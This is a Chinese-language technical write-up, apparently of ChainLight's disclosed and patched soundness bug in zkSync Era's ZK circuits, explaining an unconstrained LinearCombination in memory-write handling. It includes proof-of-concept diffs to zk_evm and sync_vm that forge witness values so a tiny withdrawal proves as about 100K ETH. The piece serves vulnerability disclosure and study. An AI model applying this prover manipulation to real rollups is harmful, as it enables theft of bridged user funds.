ChainLight研究人员于2023年9月15日,发现了zkSync Era主网的ZK电路的一个soundness bug,并于2023年9月17日,向Matter Labs团队报告了该问题。Matter Labs团队修复了该问题,并奖励了ChainLight团队5万USDC——为首个zkSync Era的bug bounty。
ChainLight以审计闻名,但其也开发ZK赋能的trustless historical Ethereum state access协议——Relic Protocol。其ZK电路也是基于Matter Labs的电路库的,之前遇到过使用LinearCombination
而未约束的类似问题,因此在review zkSync Era电路时,首先关注的是这种类型的bug。
相应的POC原型代码见:
zkSync Era主网的ZK电路的这个soundness bug:
当前rollup仍处于早期不成熟阶段,除依赖于fraud proof或validity proof之外,还会额外引入一些training wheels(通常为多签),确保当有异常情况或bug出现时,可人为介入保证用户资金安全。
更多audit信息可参看:
zkSync Era为Matter Labs团队开发的type-4 zkEVM,以下简称为EraVM。
EraVM:
calldata
和returndata
语义,EraVM会明确跟踪每个256-bit value是否为指向另一heap的指针,将指针称为“fat pointer”,并对fat pointers如何在合约间传输做了强化规则。value
。因此其无法直接转账ETH.为尽可能与EVM语义匹配,EraVM使用了一组运行在“kernel mode”下的“system contracts”,并有权指向特权指令。如,由于calls无法原生转账ETH,ETH balance跟踪和转账由名为L2EthToken
的系统合约处理。为在做call时同时转账ETH,需调用MsgValueSimulator
系统合约——其具有内核特权来执行ETH转账,然后执行a “mimic” call,给调用者的体验与直接call是一样的。
zkSync Era软件栈中使用了多个EraVM实现:
zk_evm
repo:为供sequencer和其它节点使用的out-of-circuit实现。prover也会使用该实现了创建详细的execution trace——用作电路的“witness” data。sync_vm
repo:为ZK-circuit实现,用于生成实际待证明和在以太坊上待验证的约束。EraVM电路非常复杂,为整个网络背后的核心技术。由于其复杂性,本文仅介绍与所发现的soundness bug相关的少量电路,更多EraVM电路知识可参看文档:
由于任意zk-Circuit生成固定数量的约束,任意计算量的证明 需要 使用递归电路,以验证其它电路的proofs。此外,会根据责任拆分成多个电路,以约束计算的不同部分。最终,所有proofs聚合为单个proof,在以太坊上verifier合约中验证。
整个zkSync EraVM电路架构图如下:【源自https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md】
本文重点关注其中的2种电路:
基于Main VM电路和RAM Permutation电路,所发现的soundness bug与内存操作相关。
首先了解下内存的读写是如何被约束的。
由于内存可被其它电路做写入操作,如de-commitment和Keccak哈希,Main VM电路无法自己来约束内存的读操作。相反,任何时间,其都可以从内存读写数据,并将相应的操作附加到memory queue中。
该memory queue会对一系列MemoryQuery
对象进行commit,以确定如下4件事情:
pub struct MemoryQuery {
pub timestamp: UInt32,
pub memory_page: UInt32,
pub memory_index: UInt32,
pub rw_flag: Boolean,
pub value: UInt256,
pub value_is_ptr: Boolean,
}
使用Memory Queue,通过约束 source register value置于某(具有目标内存位置的)“write” MemoryQuery
中 并附加到该Memory queue中,Main VM电路可处理“store”(内存写)指令。
Main VM电路处理内存读指令将更加复杂,因为Main VM电路自己并不知道特定地址所存在的值(因其它电路也可修改内存)。因此,为处理内存读指令,Main VM电路需加载a witness value到该寄存器中,并附加到Memory Queue中一个(具有该claimed value的)“read” MemoryQuery
对象。
当所有内存操作由各种电路commit之后,RAM Permutation电路会检查这些内存操作的一致性。RAM Permutation电路以2个memory queues为输入:
(memory_page, memory_index, timestamp)
排序后的、约束为包含相同MemoryQuery
对象集合的witness “sorted” queue。通过对这些内存访问做如上排序,RAM Permutation电路可仅遍历该memory queue一次,并比较相邻元素,来检查内存一致性。相应的伪代码为:
if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) {
// if cur accesses the same location as the previous, it must either be a write
// OR have the same value as the previous access
assert!(cur.rw_flag || cur.value == prev.value);
} else {
// if cur accesses a new location, it must either be a write OR read the zero value
assert!(cur.rw_flag || cur.value == 0);
}
当然,生成这些约束的实际代码是nontrivial的。如,可使用permutation argument来检查committed和sorted queues包含的是相同的元素。
至此,已对本bug细节提供了足够背景。与很多其它bug类似,魔鬼在实际代码实现细节中。
第一个重要实现细节在于:
MemoryQuery
结构体实际上是简化版的实际queue包含的内容,实际实现为RawMemoryQuery
形式:pub struct RawMemoryQuery<E: Engine> {
pub timestamp: UInt32<E>,
pub memory_page: UInt32<E>,
pub memory_index: UInt32<E>,
pub rw_flag: Boolean,
pub value_residual: UInt64<E>,
pub value: Num<E>, //`MemoryQuery`结构体中该字段为UInt256
pub value_is_ptr: Boolean,
}
主要不同之处在于:
MemoryQuery
结构体中value字段为UInt256
类型,而RawMemoryQuery
中将其切分为2个字段——UInt64
类型和Num
类型。这种切分转换的原因在于,电路中所使用的曲线为BN254,其单个域元素仅可 可靠地存储253个bits。UInt256
类型内部存储为4个UInt64
类型的值——每个在其自己的Num
类型中。RawMemoryQuery
结构体中,value字段存储的是该值的低192 bits,而value_residual字段存储的为高64字段。出于效率原因,RawMemoryQuery
结构体在附加到memory queue之前,最终会编码为2个UInt64
类型的值:impl<E: Engine> RawMemoryQuery<E> {
pub fn pack<CS: ConstraintSystem<E>>(
&self,
cs: &mut CS,
) -> Result<[Num<E>; 2], SynthesisError> {
let shifts = compute_shifts::<E::Fr>();
let el0 = self.value;
let mut shift = 0;
let mut lc = LinearCombination::zero();
lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]);
shift += 64;
// NOTE: we pack is as it would be compatible with PackedMemoryQuery later on
lc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]);
shift += 32;
lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]);
shift += 32;
// ------------
lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]);
shift += 32;
lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]);
shift += 1;
lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]);
shift += 1;
assert!(shift <= E::Fr::CAPACITY as usize);
let el1 = lc.into_num(cs)?;
// dbg!(el0.get_value());
// dbg!(el1.get_value());
Ok([el0, el1])
}
}
以上代码中:
cs
:表示约束系统,其贯穿在整个电路代码中,用于累加约束。通常,仅当函数以cs
为参数时,其才可以生成约束。pack
:返回[el0, el1]
。其中el0
源自self.value
,el1
为将剩余的元素pack到单个Num
中。compute_shifts::()
:对于 0 <= i <= 25
3,计算 (1 << i)
作为常量域元素。该函数不会生成任何电路约束。el1
:通过使用LinearCombination来构建,其格式为 a_0 v_0 + a_1 v_1 + … + a_n v_n
,其中a_i
为常量域元素,v_i
为电路变量。这些shifts用于将RawMemoryQuery
字段pack到不重叠的253-bit value区域中。该linear combination的结构存储在lc.into_num(cs)
变量中。以上代码将RawMemoryQuery
pack为2个域元素,看起来是sound的,接下来看RawMemoryQuery
是如何构建的。当处理内存写指令时,其构建MemoryWriteQuery
然后将其转换为 RawMemoryQuery
:
let MemoryLocation { page, index } = mem_loc;
let memory_key = MemoryKey {
timestamp: mem_timestamp_write,
memory_page: page,
memory_index: index,
};
let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;
...
let raw_query = write_query.into_raw_query(cs)?;
...
MemoryWriteQuery
的工作原理呢?在以上代码中,value为Register
类型,其将256-bit value存储为2个UInt128
:
pub struct Register<E: Engine> {
pub inner: [UInt128<E>; 2],
pub is_ptr: Boolean,
}
当构建MemoryWriteQuery
时,该寄存器值使用另一个LinearCombination
进一步切分为3个值 (lowest_128, u64_word_2, u64_word_3)
:
pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>(
cs: &mut CS,
key: MemoryKey<E>,
register_output: Register<E>,
) -> Result<Self, SynthesisError> {
let [lowest_128, highest_128] = register_output.inner;
let tmp = highest_128
.get_value()
.map(|el| (el as u64, (el >> 64) as u64));
let (u64_word_2, u64_word_3) = match tmp {
Some((a, b)) => (Some(a), Some(b)),
_ => (None, None),
};
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;
let shifts = compute_shifts::<E::Fr>();
let mut minus_one = E::Fr::one();
minus_one.negate();
let mut lc = LinearCombination::zero();
lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
let MemoryKey {
timestamp,
memory_page,
memory_index,
} = key;
let new = Self {
timestamp,
memory_page,
memory_index,
lowest_128,
u64_word_2,
u64_word_3,
value_is_ptr: register_output.is_ptr,
};
Ok(new)
}
MemoryWriteQuery::into_raw_query
会将u64_word_3
存储在value_residual
中,同时将lowest_128
和u64_word_2
pack到value
字段中:
pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>(
&self,
cs: &mut CS,
) -> Result<RawMemoryQuery<E>, SynthesisError> {
let shifts = compute_shifts::<E::Fr>();
let mut lc = LinearCombination::zero();
lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]);
lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]);
let value = lc.into_num(cs)?;
let new = RawMemoryQuery {
timestamp: self.timestamp,
memory_page: self.memory_page,
memory_index: self.memory_index,
rw_flag: Boolean::constant(true)
value_residual: self.u64_word_3,
value,
value_is_ptr: self.value_is_ptr,
};
Ok(new)
}
因此,bug在哪呢?
非常细微,但注意约束仅可由 以cs为参数的函数生成。再看from_key_and_value_witness
代码:
let mut lc = LinearCombination::zero();
lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
不同于其它使用LinearCombination
的代码,该代码实际永远不会通过lc生成任何约束。基于这些系数,其意图是约束该lc
值为0,但为生成这样的约束,必须:
lc.enforce_zero(cs)
lc.into_num(cs)
,然后进一步约束其结果值。因此,生成的MemoryWriteQuery
结果中的高128位是未约束的。这意味着恶意prover可在这些bits中放置任意值,且verifier将接受该proof是有效的。在正确约束的电路中,这些bits应约束为准确等于源自Register
的bits。
该bug使得prover可任意修改(通过store指令)存储在内存中的任意值的高128位,而不改变该proof的有效性。虽然这可能会以无数方式被滥用,但一个特别容易的目标是L2EthToken
系统合约。
以下代码为从zkSync Era中取回solidity:
/// @notice Initiate the ETH withdrawal, funds will be available to claim on L1 `finalizeEthWithdrawal` method.
/// @param _l1Receiver The address on L1 to receive the funds.
function withdraw(address _l1Receiver) external payable override {
uint256 amount = _burnMsgValue();
// Send the L2 log, a user could use it as proof of the withdrawal
bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);
L1_MESSENGER_CONTRACT.sendToL1(message);
emit Withdrawal(msg.sender, _l1Receiver, amount);
}
/// @dev Get the message to be sent to L1 to initiate a withdrawal.
function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {
return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);
}
该方法在发送L2->L1证明该取款操作之前,会burn msg.value
数量的ETH。此处的目的是在L2中burn少量的ETH,而创建的取款消息中具有大得多的_amount
字段。注意,_getL1WithdrawMessage
helper函数将取款消息编码为内存字节数组。该函数编译为如下EraVM汇编代码:
...
add @CPI0_20[0], r0, r2 // load the function selector into `r2`
ld.1 64, r1 // load the current free memory pointer into `r1`
add 32, r1, r3
st.1 r3, r2 // store function selector into memory at `r1+32`
shl.s 96, r4, r2
add 36, r1, r3
st.1 r3, r2 // store `_to` parameter into memory at `r1+36`
add 56, r1, r2
st.1 r2, r5 // store `_amount` parameter into memory at `r1+56`
add 56, r0, r2
st.1 r1, r2 // store `56` into memory at `r1` (length field)
...
每个st.1
指令存储了一个寄存器值到heap中指定的偏移位置。而这些指令支持存储到地址的非对齐方式,其不要求是32的倍数,EraVM将未对齐的stores转换为2个对齐的MemoryWriteQuery
。因此,但存储_amount
参数时,会创建2个aligned write queries:
{
memory_page: CUR_HEAP_PAGE,
memory_index: (r1 + 56) // 32,
value: (uint256(_to) << 64) | (_amount >> 192)
},
{
memory_page: CUR_HEAP_PAGE,
memory_index: (r1 + 56) // 32 + 1,
value: (_amount << 64)
}
此处的目的是改变以上第二个write query的值,以增加取款消息中所认证的ether数量。为此,在每个EraVM实现中修改负责处理write queries的代码。相应的修改逻辑为:
_amount
值是否匹配某些magic值,如0x1371337137
或 ~.00002
ETH。_amount
为某huge value,如0x152d0000133713371337
或 ~100K
ETH。相应的zk_evm repo修改为:
diff --git a/src/opcodes/execution/uma.rs b/src/opcodes/execution/uma.rs
index 276c02b..7d2f0d5 100644
- -- a/src/opcodes/execution/uma.rs
+++ b/src/opcodes/execution/uma.rs
@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
(word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8);
// add highest bytes into lowest for overwriting
new_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));
+
+ // see if we're writing 0x1337133713370000000000000000
+ if new_word_0_value.0[1] == 0x133713371337 {
+ // if so, instead write 0x152d00001337133713370000000000000000
+ new_word_0_value.0[2] = 0x152d;
+ }
+
// we need low bytes of old word and place low bytes of src1 into highest
// cleanup highest bytes
let mut new_word_1_value =
相应的sync_vm repo修改为:
diff --git a/src/vm/vm_cycle/memory_view/write_query.rs b/src/vm/vm_cycle/memory_view/write_query.rs
index cbb4172..0b09ecd 100644
- -- a/src/vm/vm_cycle/memory_view/write_query.rs
+++ b/src/vm/vm_cycle/memory_view/write_query.rs
@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> {
_ => (None, None),
};
+ let u64_word_2 = if let Some(0x1337133713370000000000000000_u128) = lowest_128.get_value() {
+ Some(0x152d)
+ } else {
+ u64_word_2
+ };
// we do not need to range check everything, only N-1 ut of N elements in LC
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
需注意,仅需修改分配给变量的witness值,而并不修改电路所生成的约束。
通过在后端完成以上修改之后,sequencer/prover现在可处理具有magic value 0x133713371337
wei (~.00002
ETH) 的区块,并输出proven batch——其可证实接收方取款额为0x152d0000133713371337
wei (~100K
ETH)。zkSync Era合约将接受该proof,然后攻击者可取光其bridge中的100K个ETH。
考虑到当前的安全层,该bug很难由Matter Labs之外的人利用。对于外部人员来说,可能的攻击场景为:
由此可知,以上21小时的execution delay,使得实际利用该bug非常难。但是,随着未来去中心化的推进,这样的攻击成功概率将增加,因为到时没有admin团队来直接管理该协议。
因此,让ZK-circuits安全来赋能L2,是以太坊长期扩容里程碑的关键部分。
[1] 2023年11月ChainLight博客 Patch Thursday — Uncovering a ZK-EVM Soundness Bug in zkSync Era